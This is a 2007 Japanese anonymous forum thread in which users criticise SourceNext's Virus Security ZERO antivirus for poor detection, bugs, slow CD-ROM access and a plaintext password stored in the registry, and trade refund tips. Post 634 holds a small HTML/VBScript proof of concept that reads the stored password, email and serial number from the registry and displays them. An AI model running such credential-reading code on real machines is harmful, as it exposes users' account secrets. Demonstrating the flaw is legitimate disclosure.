497 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 16:37:54 ] オマイがバカなだけだろ 安モンいい性能な分けないだろ
498 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 16:42:06 ] >>497 それはこのスレで愚痴ってるやつが体験したから、勘弁しださい まじで、身にしみてる
499 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 16:43:02 ] 勘弁してください・・・でした
500 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 16:45:31 ] ちなみに返金は現金書留で定価分くるから 安くかったやつは電話代くらいは帰ってくると思うよ
501 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 17:01:20 ] 読み出し遅延でサポートにかけたが結局サポートツール使って結果送ってくれ、で終わった 結果送った後の対応に大期待だな。電話代も高くついたし
502 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 17:19:26 ] サポートツールは向こうの時間稼ぎだから、 真に受けて結果を送ったら、横着な対応しかしてくれなくなるよ。
503 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 17:20:26 ] サポートツールは向こうの時間稼ぎだから、 真に受けて結果を送ったら、横着な対応しかしてくれなくなるよ。
504 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 17:28:50 ] >>501 サポートツールは断れるよ
505 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 17:30:53 ] 書き込む押しちまった こっちの断り方は そちらの会社のソフトで不具合でていますので、そちらの会社で製作した サポートソフトも不具合でそうに感じるほど信用できませんので ソフトを追加してインストールすることはお断りします これで通った、対応の人によるだろうけど
506 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 17:34:33 ] 結局返金ゴールまでたどり着けたやつは このスレ何人くらい居るんだろ
507 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 18:38:59 ] ff11を妨害する不具合って直った?
508 名前:名無しさん@お腹いっぱい。 [2007/07/12(木) 20:30:17 ] 俺の問い合わせに対して「サポートツール・・・」とか抜かしやがったら、 毎回「ふざけんな。時間稼ぎしてねーで真剣に対応しろや」って返してるよ。
509 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 20:31:38 ] >>506 返金は難なくできるよ。不具合だらけなのはソースネクストも認識してるし。
510 名前:名無しさん@お腹いっぱい。 [2007/07/12(木) 20:48:18 ] むしろ対応するのをいやがって、こっちが返金を言い出すのを待ってる感じ。 返金したいと言ったらすごくうれしそうな返事が来たよ。
511 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 21:04:22 ] >>510 なんで510がソースに返金するの?
512 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 21:20:14 ] 購入30日の制限無く、事実上いつでも返金可能になったら、ソースやばいんじゃ? 無期限システムだから、2年くらい経ってから全額返金とかじゃ、崩壊するじゃん。 パスワード見え見えのセキュリティホールなんて放置しっぱなしだから、 そこを付かれたら全ユーザーが返金リコール該当で、売り上げが綺麗に吹っ飛ぶ。+返金手続きの経費で大赤字。 かなりヤバイ。
513 名前:名無しさん@お腹いっぱい。 [2007/07/12(木) 21:22:52 ] 毎ジャンで交換したけど このソフトって使えるの?
514 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 21:23:45 ] >>512 俺半年は使ってから返金してもらったよ?3本分
515 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 21:32:53 ] >>498 / ..:.:.:.:.:.:.:.:.:.:.:: .:.:.:.:.:.::.:.:.:.:.:.:.:.:.:.:.:.:.:.. :.:.:.:.:ヽ / .: .. .. .. .: .:.:.:.:::.:.::.:.:.:.:.::.:.:.:.:.:ヽ.. :.:..:.:.', /.:..:..:.:.:.:.:.:.:.::.:..::!.:l、 :. ...:.:,...:::...::....:.::..:.:.::..::.:.:、:.:.:.:i i..:/!:..:.:.:.:.:.:..::,!:.::!l::| ',.::.:.::::|!.::i:、::::.:.:.::::.:.:::.:.、:.:i:.::.:.| l:/ !:..:.:,:.::.::..::|',.::!'!:「`l.:.::.::::!';.:l、:ヽ::.:.:i::::.:.:::::i::.i:.::.:.| l! !:..:.::!.::.::.::l ';j ';;| ヽ.:.::::lヽ:ゝ、:ヽ::.l、:::.::::::i::'::::.:.| ′';.j.:.:l .::.::::| ,ゝ__」_ \:.::l ヾ__ゝ、:|ヽ::':::::!:::::::.:| リ,::.!. :.::.::l. "´ ̄ ゙` \:! '"´ ̄`゙ )::l:.:!:::::::.:| ヽ:i:、:.::.:::! .:.:.:.:.:.:.:.. , 丶 .:.:.:.:.:.:. /::::::!:::::::::::.:| 許す |:ヽ::i:.::::::', ー--‐ /::::::::l:::::::::::: :! !.:.:.::| .:.:::::丶、 ,. :':,:.:::::::!.::::::::::::.| l .:.::.:! :.::.:::::::::::`r- .._.,. イ´:::.:.l:..:..:::! ::::::::::::::| . l..:.:.::」 :..::.:.l-‐'´l -、__,,. ‐-' 、.:.:.:!.:.:::::!:_:::::::::::::.:! j/`ヾ.:.:.::.::|/´/ _ヽ/\ヽ:.:.:::::!/`ヽ::::::.| , '-‐- 、 !::.:_,/‐/´ ̄`×´  ̄`ハ!、_:::|,.. -‐、 ';:::.:! / ヾ:.:j/二)-、´ \r‐(二ヽ〈::j }. l:::.:!
516 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 21:39:03 ] てか、おまいらよーシャインの口車に乗って安易に買うなよ。 シャインの誘導購買って犯罪じゃねーのか?
517 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 21:41:20 ] >>512 返品不要で送料はかからないから 返金手続きの経費っても振り込み手数料だけじゃね?
518 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 21:55:47 ] >>517 現金書留
519 名前:名無しさん@お腹いっぱい。 [2007/07/12(木) 22:30:32 ] このソフト最高!売れすぎ!
520 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 22:36:11 ] >>519 買っても確実に返品できるから、ヨドバシのポイント稼ぎに最適なソフトで売れ行きも良いんでしょう。
521 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 23:31:04 ] >>519 あ〜それかそれがあったな
522 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/12(木) 23:34:43 ] 同じ値段でキングやキラーは三台まで入れられるのにこれは一台だけか 値段が高い上に検出力が低いとかゴミすぎだな
523 名前:名無しさん@お腹いっぱい。 [2007/07/12(木) 23:41:28 ] 無限にヨドバシのポイントを稼ぎ出してくれる金の卵です
524 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/13(金) 00:01:12 ] 2回目は返品できねえよボケ
525 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/13(金) 00:04:09 ] 不具合はいくらでもあるからねぇ。
526 名前:名無しさん@お腹いっぱい。 [2007/07/13(金) 00:37:25 ] 返品かよw
527 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/13(金) 00:50:59 ] ソース製品なんて返品の為にあるようなもんだ。 開発力のない会社だから不具合あってもサポートも対応できないし。
528 名前:名無しさん@お腹いっぱい。 [2007/07/13(金) 03:34:30 ] >>510 >返金したいと言ったらすごくうれしそうな返事が来たよ 返品の書き間違いだろうけど、返金でも返品でもどちらで考えても すごくワロタ オモロイ!
529 名前:名無しさん@お腹いっぱい。 [2007/07/13(金) 08:08:59 ] しかし、ここまでボロカスに言われるソースって! 火の無い所に煙立たずってことわざもあるが! 叩けばホコリ?
530 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/13(金) 08:48:55 ] ソースの糞ソフト叩きなんて昨日今日始まったわけじゃないからねw
531 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/13(金) 09:21:53 ] >>524 2回目は返品できなくても 複数台用は返品できる、買ったところを聞かれるわけでもない ツマリ1回はポイントタダでもらえるわけで
532 名前:名無しさん@お腹いっぱい。 [2007/07/13(金) 09:25:48 ] フリーソフトのAVGやAvastにも劣る ウイルス検出力について 社員さんや信者さんはどう思ってるんですか? 何とも思わないの?
533 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/13(金) 10:37:15 ] 記者「あなたはこのソフト使います?」 社員「使いませんよ」
534 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/13(金) 11:26:17 ] ダンボール6割でできたソフト
535 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/13(金) 12:34:41 ] ミートホープの社員がミートホープの肉を食わないのと同じで ソースの社員がウイルスセキュリティを使うわけがない 知ってるからな
536 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/13(金) 13:24:38 ] CD-ROMの認識が遅くなる件を電話で問い合わせたときに、現象をなかなか理解しないから 「CD-ROM入れてエクスプローラーで認識するまでを見てたらすぐに現象が確認できるから今やってみろ」 と言ったら、 「今ここにウィルスセキュリティが入ってるパソコンがありませんからすぐには出来ません」 と言われた。
537 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/13(金) 13:41:45 ] >>536 面白い
538 名前:名無しさん@お腹いっぱい。 [2007/07/13(金) 20:31:43 ] >>536 お前はバカにされているだけだね。 哀れ杉
539 名前:名無しさん@お腹いっぱい。 [2007/07/13(金) 21:59:29 ] ウイルスセキュリティはAntinyとかにも対応しているんだってよ。 みんなが思っているよりちゃんとしてるじゃん。
540 名前:名無しさん@お腹いっぱい。 [2007/07/13(金) 22:14:31 ] っていうかこれを大々的に売り出してる量販店が悪い あんだけ並べられて宣伝してたらこりゃいいわってみんな買っちゃう
541 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/13(金) 22:31:30 ] >>539 日本で社会現象にもなったんだから対応してて普通。
542 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/13(金) 23:16:32 ] >>539 悪いけど全然してないよ 証拠画像を出そうか?
543 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/13(金) 23:20:19 ] ウイルスセキュリティで、 realtekのサウンドドライバファイルのALCXWDM.SYSが ウイルスとして検出駆除される問題が5月末頃にあったみたいだけど、 もう直った?
544 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/13(金) 23:26:29 ] >>539 ウイルスセキュリティ使ってたら 原田mk-2に感染してしまいました。 全然防いでくれませんでした。 社員と信者の皆さん あなた達の言葉に騙されました。 責任とってください。
545 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/13(金) 23:29:15 ] それ削除したら音がでなくなるのか?
546 名前:名無しさん@お腹いっぱい。 [2007/07/14(土) 00:23:13 ] >>542 分かっちゃいるけど、ついでだから見せてよ。
547 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/14(土) 02:56:21 ] うpニダ
548 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/14(土) 14:08:56 ] この前雑誌読んでたらセキュリティソフトの売上ランキング1位は ウイルスセキュリティゼロだった こんなジョークソフトでも1位とれるんだ、って新鮮に思った
549 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/14(土) 15:28:16 ] >>548 少なくとも、団塊やゆとりはジョークソフトとは思っていないからなぁ。 PCやOSに対するリテラシーが極めて低い人(中身にまるきり興味なし)に利用者が多いから、 K7のウィルスセキュリティシリーズの低い検出性能なんて気付かないし、意識もしない。 個人的には、この数年でPCが一人一台って状況になったことで、 昔なら本来PCを持ちえないであろう低スキルな人がなだれ込んで、 このソフトをもてはやしているだけのように思う。 <ウィルスセキュリティゼロの購入プロセス> (セキュリティ製品について) そんなもんわざわざ入れる必要あるのか? ↓ (IT系の痛い雑誌で読み齧ったり、周囲から聞いて) セキュリティを確保しないと危ない! ↓ (ゼロを店頭で見て)これは安いじゃないかー! しかも一番売れているということは、一番いい品だー! …。
550 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/14(土) 15:41:16 ] 実際、レアなウィルスが入ってくることなんて稀だから 安いなら検出力は低くても構わないと思っているが CD-ROMの認識が遅くなるのは、勘弁して欲しい。 百害あって一利なし。
551 名前:名無しさん@お腹いっぱい。 [2007/07/14(土) 16:20:58 ] >>550 エロCD-ROMに間違いない
552 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/14(土) 16:47:30 ] 販売する店は セキュリティソフト(マイクロソフトセキュリティパートナー認定) と ジョークソフト(マイクロソフトセキュリティパートナーに認定されていない) は、きちんと識別して陳列したほうがいいな。
553 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/14(土) 18:59:49 ] ここではあまり良くないといわれているようですが ウイルスセキリティーが出たときから使ってますが うちでは一度もウイルスをけんしつした事はありません なのでゼロが出たときはゼロに乗り換えまして今は使ってますが ほかのは使ったことはないのではっきりと比較はできませんが 使っていても他社のより動作が軽くてウイルスも防いでくれてると思います
554 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/14(土) 19:03:06 ] 一度、他社のオンラインスキャンやってみるともっと安心できるかもよ
555 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/14(土) 19:18:30 ] www.yamada-denkiweb.com/item/list.php/special/4ct01/tm100/ >>553 きみは、売ってないものをわざわざインストールするんだね
556 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/14(土) 19:29:38 ] >>553 × ここではあまり良くないといわれているようですが ○ ここでは最悪と言われているようですが
557 名前:名無しさん@お腹いっぱい。 [2007/07/14(土) 20:10:04 ] キングが大ブレイクしているって本当?
558 名前:名無しさん@お腹いっぱい。 [2007/07/14(土) 20:21:17 ] >>555 キラースレへ帰れ。
559 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/14(土) 20:40:39 ] >>558 おまいこそジョークソフト売り場へ帰れ
560 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/14(土) 21:54:05 ] >>553 ウイルスをいちどもけんしつしたことがないのなら、 ウイルスも防いでくれてると思います、は気のせいだよ
561 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/14(土) 22:06:10 ] >>553 ここ イ ち まで解読した
562 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/14(土) 22:34:21 ] >>553 ザルだからな
563 名前:名無しさん@お腹いっぱい。 [2007/07/14(土) 22:38:08 ] bcnranking.jp/category/subcategory_0019.html
564 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 00:18:35 ] プログラムって中で何やっているのか普通の人にはわからないからね。 同じようなもので値段が安ければそっちに惹かれるよね。 実際は不具合多発でパスワードがモロ見えだけど、ばれなければ構わないってのがソースの姿勢だし。 なんかね、偽装ミートや段ボール肉まんみたいなのと同じ思考の会社なんじゃないかと
565 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 00:27:35 ] >>564 面白い表現だな〜 日本には、そんな会社や考え方を「良いんじゃない、コスト低いし売れてるから」って買うアホが多いよね。 余談だが、選挙に行って消去法でも良いから納得できる奴に投票しろよ 日本もソースみたいになっちゃうよ
566 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 00:32:12 ] このスレでウイルスセキュリティを叩いてる人って、セキュリティがどんな意味かすら知らないんじゃないの?
567 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 00:35:14 ] >>566 理解するのに数秒を要した パスワードが第三者に閲覧可能なアンチウイルスのセキュリティってどんなものですか?
568 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 00:35:40 ] 安全。防犯。安全保障。
569 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 00:36:31 ] >>566 × ウイルスセキュリティを叩いてる人って、セキュリティがどんな意味かすら知らないんじゃないの? ○ ウイルスセキュリティを買う人って、セキュリティがどんな意味かすら知らないんじゃないの? ◎ 社員は馬鹿
570 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 00:39:00 ] www.kokusen.go.jp/map/index.html ここを使った方がいいのかな。 これ以上被害を出さないために。 う〜ん。
571 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 00:43:13 ] >567 これって随分前からの欠陥だと思うけど、未だに放置プレイとは驚いた
572 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 00:52:12 ] >>570 ウイルスセキュリティが一番売れている=デフェクトスタンダード=標準品質ってことにはならないの?
573 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 00:57:59 ] >>572 ならないみたいだなぁ。
574 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 01:15:33 ] てことは、CD-ROMの認識遅延などは1年や2年じゃ直らないって事かな。
575 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 01:16:06 ] >>553 おめーシャインだろ 素人のふりするなよてめー 他社のより動作が軽くてウイルスも防いでくれてると思います 他社使ってない奴が書ける内容かよ
576 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 01:17:16 ] このソフトは安くても初心者向きじゃないわけね?
577 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 01:26:18 ] いや、セキュリティをいい加減に考えてる初心者しか買いません。 むしろ玄人向きではありません。
578 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 01:36:10 ] >>553 フリーソフトのAVGやAvastにも劣る ウイルス検出力について >>553 さんはどう思ってるんですか? 何とも思わないの?
579 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 02:21:44 ] >>572 馬鹿が粋がって専門用語を使わない方がいいよ デファクトスタンダードだから
580 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 02:38:08 ] メールアドレスを間違って設定したのを発見したので修正しようと思ったが、 「エントリーページ」でメールアドレスが変更できない 『メールアドレスの入力が正しくありません。』なぜ? 半角文字を認識してない?
581 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 02:45:13 ] >>580 自己レス 「xxxxx@yyy.so-net.ne.jp」を「xxxxx@yyy.sonet.ne.jp」にしたら先に進んだw 「(-)マイナス」はダメなのかww。ソネットのオレは修正不可能?!
582 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 02:51:19 ] ソースネクストって日本の会社じゃん。 海外のわけ分かんない会社よりよくね?
583 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 05:29:13 ] www.lib.city.minato.tokyo.jp/MNWLIB/servlet/search.detail_list?tilcod=1000000063856 日本の会社だけどこれをよく読んだ方がいいよ
584 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 10:54:49 ] みんなウイルスセキュリティに売れてほしくなさそうだけど、なんか理由があるの?
585 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 11:20:54 ] 申し訳ない ソースネクストのウイルスセキュリティZERO のどこが悪いのか 端的に箇条書きで示して欲しい( 何も知らないユーザーより )。
586 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 11:33:47 ] >>585 ウイルスを見付けないとこやウイルスを見付けないことやウイルスを見付けない所がね。 スパイウェアに至っては数%しか対応してないんじゃないのかな? ルーターの防御力をソフトの性能と勘違いさせるのがうまい。 VPNが通らないのは勿論色んなアプリの通信を弾くのでうざい。 性能の悪さについては勝手にウイルステストを見ると良い
587 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 11:47:38 ] >>586 ちゃんと、ジャパネットで買ったパソコンについてた場合とかなら大丈夫なんでしょ?
588 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 11:49:36 ] >>585 上のテンプレにもそれなりに書いてある 不具合や検出率 レジストリにパスワードがそのまま記載されてるので勝手に変更される等 >>584 性能が悪いから売れて欲しくありません 中国産の野菜が日本で売れて欲しいと思いますか?私は思いません
589 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 11:55:54 ] 以前はこれじたいがウイルスだとまで揶揄されていたし
590 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 12:12:50 ] >>587 それはちゃんとしたパソコンであってウイルスセキュリティは何の関係もない ウイルスセキュリティの不具合をジャパネットが見てくれるのか? あまり頭の悪いことを言うな
591 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 12:29:39 ] ちゃんと安心してくださいって出ても安心できないの?
592 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 13:26:39 ] 誰がそんなことを言ってるんだ?ソース社員か? ジャパネットが言ってるのだとしたら 「責任はソースネクストが取りますので安心してください」という意味だが? ソフトの性能の話ではない。被害を受けた後の話
593 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 13:30:03 ] Checkmark Anti-Virus Level 1を余裕で獲得しましたが何か?
594 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 13:35:33 ] Level2を取得してから言ってください。
595 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 13:43:57 ] つかTrojanも取れてねーじゃん 馬鹿かと
596 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 13:48:56 ] 「ジョークソフトです」のシールを貼ってくりぇ
597 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 15:46:07 ] www.forest.impress.co.jp/article/2002/07/11/jokesoft.html
598 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 17:22:13 ] >>584 >>585 検出率80%くらいしかない。 せめて90%以上ないと、話にならない。 たまに、立ち上げの時ブルー画面になって止まる。 F8押して、セフティーの前回の正常終了を選んで立ち上げればいいけど、 面倒くさい。 CD-ROM、DVD-ROMの読み込み開始まで待たされる。 ちなみに近々、アンインストールする予定。
599 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 17:32:00 ] >>585 です。 そんなにレベルの低いソフトですか・・・ 皆さんの書き込みがウソだと断言はできませんが、 日経トレンディなんかで パソコン用ウイルス対策ソフト比較 なんてやってくれると、 比較上 有用なんですが・・・ ( 広告の関係でPC誌では無理でしょうから・・・ )
600 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 18:06:41 ] ヤマダに行ったら、ZEROコーナーに人がいっぱいだったよ。
601 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 18:57:30 ] みんな指さして笑ってたよ
602 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 19:11:29 ] このソフトインストールすると 再起動したら起動しなくなるよね(`・ω・´) 会社のPCなんだけどどうしたらいい?
603 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 19:12:46 ] >>599 pc.nikkeibp.co.jp/article/NPC/20061114/253696/?P=2 日経PCのオンライン版ですよ 雑誌にも載っています
604 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 19:47:22 ] >>603 サンクスです。 日経PC21 は購読しているんですが、 日経パソコン は読んでいなかったんで・・・ 確かに ウイルスセキュリティZERO は格段にレベルが低いですねェ〜
605 名前:598 mailto:sage [2007/07/15(日) 19:50:03 ] >>602 F8押して、セフティーモードの前回の正常終了を選んで立ち上げで動かない?。 それかセフティーモードを終了して、ふつう機動で立ち上がった記憶がある。
606 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 21:30:22 ] 日本のソースネクストが出してるから叩いてるだけなの? Symantecだ?McAfeeだ?欧米か!
607 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 21:48:06 ] 不具合が多くて検出率が低いからだろが なに論点をズラして発狂してんだよ
608 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 22:10:49 ] 高校生の息子が使うパソコン程度でしたらこれで十分ですか?
609 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 22:24:08 ] 好奇心旺盛な男子高校生ですのでむしろ危険です 絶対にやめてください
610 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 22:34:37 ] ソースの社員が使うパソコン程度でしたらこれで十分ですか?
611 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 22:42:33 ] 最近の製品で、Windows98でも動くのはこれぐらいですか?
612 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 22:43:32 ] なんで2kにしないの?
613 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 22:56:48 ] ZEROはゲロゲロでこまりませんか?
614 名前:名無しさん@お腹いっぱい。 [2007/07/15(日) 22:57:20 ] 変なペンコンだけWindows98のままなんだよ・・・・
615 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 22:57:46 ] >>611 キングソフトも動きますよ ウイルスセキュリティなんかはWindows2000に入れようとしたとき SP4でないとインストールさせてくれない最悪のソフトでした
616 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 23:09:16 ] >>608 家計簿とメールしかしない主婦なら、このソフトで十分です エロサイト巡りをする危険性がある中年親父や高校生なんて、もってのほか
617 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 23:12:33 ] そんなら インターネット非接続型ジョークソフト でつ
618 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 23:13:27 ] >>599 パスワード丸見えは体験版でも入れて確認してみればウソかホントかわかるよ。
619 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 23:28:43 ] >>616 キングソフトとウイルスキラーなら同じ値段で三台までインストールできて家計も大助かりですね!
620 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/15(日) 23:30:28 ] >>616 主婦はヤベーんじゃね? たまにネットショッピングする人だっているだろ? メアドばれる仕様だから、ショッピングサイトに変なの仕込まれてて、 ある日突然パニクることになるってのも考えられるよ。 で、ウィルスセキュリティに問題があったなんて解った日には・・・。 ところで、この会社、VPN回線も使用できない この100均製品並みのソフト、ほんとに社内で使ってるのかね?
621 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 00:10:08 ] 自社製品を使うわけが無いじゃないですか。 まともな企業向けソフトを導入しているはずです。 いや、してて欲しいなぁ〜。
622 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 00:11:49 ] というか、パソコンで家計簿をつける程度の主婦が不具合の対処をできるとも思えない
623 名前:名無しさん@お腹いっぱい。 [2007/07/16(月) 00:13:44 ] 家計簿がウイルス感染してもなんら問題は無い。
624 名前:↑ mailto:sage [2007/07/16(月) 00:44:22 ] しね
625 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 01:08:22 ] >>598 >たまに、立ち上げの時ブルー画面になって止まる。 これ 俺のPCだけだと思ってた。そうかそうか・・・これも糞ースのせいだったか。 返金してもらって正解だった・・・ ところで電話で言われてた特別返金は一体いつ返ってくるのだろうか・・・?
626 名前:625 mailto:sage [2007/07/16(月) 01:18:19 ] あと、「最近なんだか調子がおかしい」のは当たり前として、1週間前の事。 プログラムの追加と削除を何気なしに開こうと思ったら一向に開かない。 再起動してみる。だが「一覧を作成して・・・」の文章のまま。 ぇ?なんで? ここで3日ほど悩む。まさか・・・糞ースの・・・ソフトのせいか? いや 待て。さすがに糞ースでもこんなとこまで重くなるのは変だろ・・・ と思い、ゼロの事は考えないでいた。 昨日ゼロをアンインスコしてプログラムの追加と削除を見てみた。 プログラムのいちr・・ パッ ('A`)1秒で表示されてんじゃねぇか・・・ ほんとに・・・もう・・・ これはもう・・・だまされたとしか言いようがない
627 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 01:26:09 ] >>625 約1週間
628 名前:625 mailto:sage [2007/07/16(月) 01:30:58 ] >>627 そんなにかかるのか・・・ もう耐えられん!明日買ってこよう・・・VB・・・
629 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 02:07:58 ] まぁまて。 AVGとかavastとかがあるじゃないか。
630 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 02:16:56 ] 結局待てずにVBの体験版をインスコしてしまった。30日間はとりあえずおk。 それよりすごいことに気づいた。 最初にウイルスセキュリティゼロを購入すると唯一のメリットがある。 他のウイルスセキュリティソフトを入れるととてつもなく素晴らしく感じる事。
631 名前:名無しさん@お腹いっぱい。 [2007/07/16(月) 04:23:00 ] パスワード丸見えという意味は? 何のパスワード? 教えて下さい
632 名前:名無しさん@お腹いっぱい。 [2007/07/16(月) 08:49:34 ] >>631 ググレカス
633 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 09:03:17 ] zeroの売り上げはすごいの?
634 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 10:47:55 ] >>631 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS"> <SCRIPT Language="VBScript"> <!-- function Passmie() On Error Resume Next set WshShell = CreateObject("WScript.Shell") Pass = WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\K7 Computing\K7TotalSecurity\CommonInfo\Updates\RegUserPassword")+ vbNewLine Mail = WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\K7 Computing\K7TotalSecurity\CommonInfo\Updates\RegUserEmail")+ vbNewLine Serial = WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\K7 Computing\K7TotalSecurity\CommonInfo\Updates\SerialNumber")+ vbNewLine str = "ソースネクスト"+ vbNewLine + Pass + Mail + Serial + "" msgbox str end function --> </SCRIPT> </head> <body> <input type="button" value="ソースネクスト" onclick= "Passmie()" > </body> </html>
635 名前:名無しさん@お腹いっぱい。 [2007/07/16(月) 11:44:55 ] ぶっちゃけこれで十分なんでしょ? お店にもこれがおすすめ2位みたいに書いてあったよ?
636 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 12:03:13 ] >>635 同意が欲しいのか? なら、十分だよ おれは使わんが
637 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 12:04:38 ] 店は利益が出ればそれでいいのである。
638 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 12:47:31 ] >>635 何に対して十分なんだか意味不明。 お守りとしても不十分だと思うけど。 お守りの方が御利益ありそうで心理的効果は高い。
